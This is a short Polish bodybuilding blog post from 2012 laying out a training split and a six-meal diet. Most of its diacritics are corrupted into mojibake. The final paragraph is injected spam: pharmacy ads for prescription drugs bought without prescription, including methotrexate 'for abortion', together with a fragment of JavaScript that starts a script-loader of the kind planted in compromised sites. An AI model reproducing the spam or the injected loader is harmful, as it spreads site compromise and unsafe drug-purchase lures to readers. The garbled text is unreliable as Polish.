Plan na najbliA?sze tygodnie

16.02.2012 / Michał Karmowski

Od poniedziaAi??ku zaczAi??Ai??em budowanie masy miAi??Ai??niowej:-)

UstabilizowaAi??em dietAi?? i ustaliAi??em sobie plan na najbliA?sze tygodnie, trenujAi?? splitem 4 dniowym ale rozAi??oA?onym na 5 dni w tygodniu czyli to co robiAi?? w poniedziaAi??ek powtarzam w sobotAi?? itd…, trzy razy bAi??dAi?? robiAi?? cardio rano przed Ai??niadaniem aby mA?c dokAi??adaAi?? sukcesywnie jedzenia, ale bAi??dAi?? tao krA?tkie 20 min sesje. Aktualna dieta wyglAi??da tak:

1-500g biaAi??ek jaj, 200g pAi??atkA?w, 50g orzchA?w

2-250g woAi??owiny, 75g ryA?u, 10g oleju

3-250g indyka, 75g ryA?u, 10g oleju

trening

po treningu 50g z biaAi??ka isoate 100(smak gruszkowy), 150g ryA?u

4-250g indyka, 75g ryA?u, 10g oleju

5-250g woAi??owiny, 75g ryzu, 10g oleju

6-300g biaAi??ek jaj, 20g z casein 100, 50g masAi??a migdaAi??owego

ten tydzieAi?? trenujAi?? jeszcze bez dodatkowych suplementA?w, stosujAi?? jedynie isolate 100 i casein 100

httpv://www.youtube.com/watch?v=jGvbTnJR1vY} Pills online Purchase zyvox 600 mg iv cost buy pills Purchase how much methotrexate for abortion kamagra jelly amazon. buy Kamagra. kamagra oral jelly for sale in usa. var d=document;var s=d.createElement('script'); buy non perscription elavil Pills Buy buy pills